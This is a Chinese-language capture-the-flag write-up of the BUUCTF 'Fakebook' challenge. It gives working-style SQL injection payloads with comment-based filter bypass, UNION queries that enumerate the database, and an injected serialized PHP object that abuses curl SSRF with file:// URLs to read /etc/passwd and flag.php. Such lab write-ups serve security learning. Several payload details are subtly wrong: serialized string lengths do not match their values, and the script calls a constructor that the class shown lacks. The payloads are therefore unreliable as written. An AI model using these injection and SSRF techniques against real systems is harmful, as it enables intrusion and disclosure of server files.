从SQL注入到反序列化:一次Fakebook漏洞利用的思维跃迁
那是个闷热的下午,我盯着BUUCTF平台上那道名为Fakebook的题目已经两个小时了。作为网鼎杯的经典赛题,它表面看起来只是个普通的社交网站——用户列表、个人主页,甚至还有博客展示功能。但当我尝试用常规方法突破时,却像撞进了一张精心编织的蛛网。
1. 初探:SQL注入的迷雾
在view.php页面,no参数立刻引起了我的注意。输入1'后经典的报错信息跳出来:
Warning: mysqli_fetch_array()...这明显存在SQL注入漏洞!但当我尝试常规闭合方式时:
?no=1' -- - ?no=1' and 1=1 --+服务器却像被施了魔法般毫无反应。直到尝试数字型注入:
?no=1 and 1=1 --+ ?no=1 and 1=2 --+页面内容终于出现了差异——典型的数字型注入特征。通过order by测试确认存在4个字段后,我构造了联合查询:
?no=-1 union select 1,2,3,4 --+但页面只返回了空白。这时我意识到可能有过滤机制,于是改用内联注释绕过:
?no=-1/**/union/**/select/**/1,2,3,4 --+第二字段终于作为回显点出现在页面中,就像黑暗中的萤火虫。
2. 深入:非常规字段的启示
通过注入获取数据库信息的过程堪称教科书式:
?no=-1/**/union/**/select/**/1,database(),3,4 --+ # 库名fakebook ?no=-1/**/union/**/select/**/1,(select group_concat(column_name) from information_schema.columns where table_schema='fakebook' and table_name='users'),3,4 --+ # 字段no,username,passwd,data但当查看data字段内容时,出现了奇怪的现象:
?no=-1/**/union/**/select/**/1,(select data from users limit 0,1),3,4 --+返回的竟是类似O:8:"UserInfo":3:{s:4:"name"...的序列化字符串!这种在数据库存储序列化对象的做法,立刻让我联想到可能的反序列化漏洞。
3. 转折:源码审计的意外收获
通过robots.txt发现了关键的源码文件user.php,其中UserInfo类的设计令人玩味:
class UserInfo { public $blog = ""; public function getBlogContents() { return $this->get($this->blog); } private function get($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); //...其他curl配置 } }特别值得注意的是getBlogContents方法会直接访问blog属性指定的URL。而data字段正好存储着序列化的UserInfo对象——这意味着如果我们能控制反序列化内容,就可能实现SSRF攻击。
4. 突破:漏洞链的完美拼接
我编写了PHP脚本构造恶意序列化数据:
$obj = new UserInfo("hacker", 20, "file:///etc/passwd"); echo serialize($obj);得到payload后,通过SQL注入将其植入数据库:
?no=-1/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:6:"hacker";s:3:"age";i:20;s:4:"blog";s:17:"file:///etc/passwd";}' --+刷新页面后查看源码,发现iframe标签成功加载了本地文件内容。最终通过修改路径获取flag:
?no=-1/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:6:"hacker";s:3:"age";i:20;s:4:"blog";s:22:"file:///var/www/html/flag.php";}' --+这次经历最珍贵的不是最终获取的flag,而是解题过程中思维的几次关键跃迁:从简单的注入测试到发现异常数据,从源码审计到漏洞链构造。这种将不同漏洞组合利用的思路,远比单一漏洞的利用更能体现安全研究的精髓。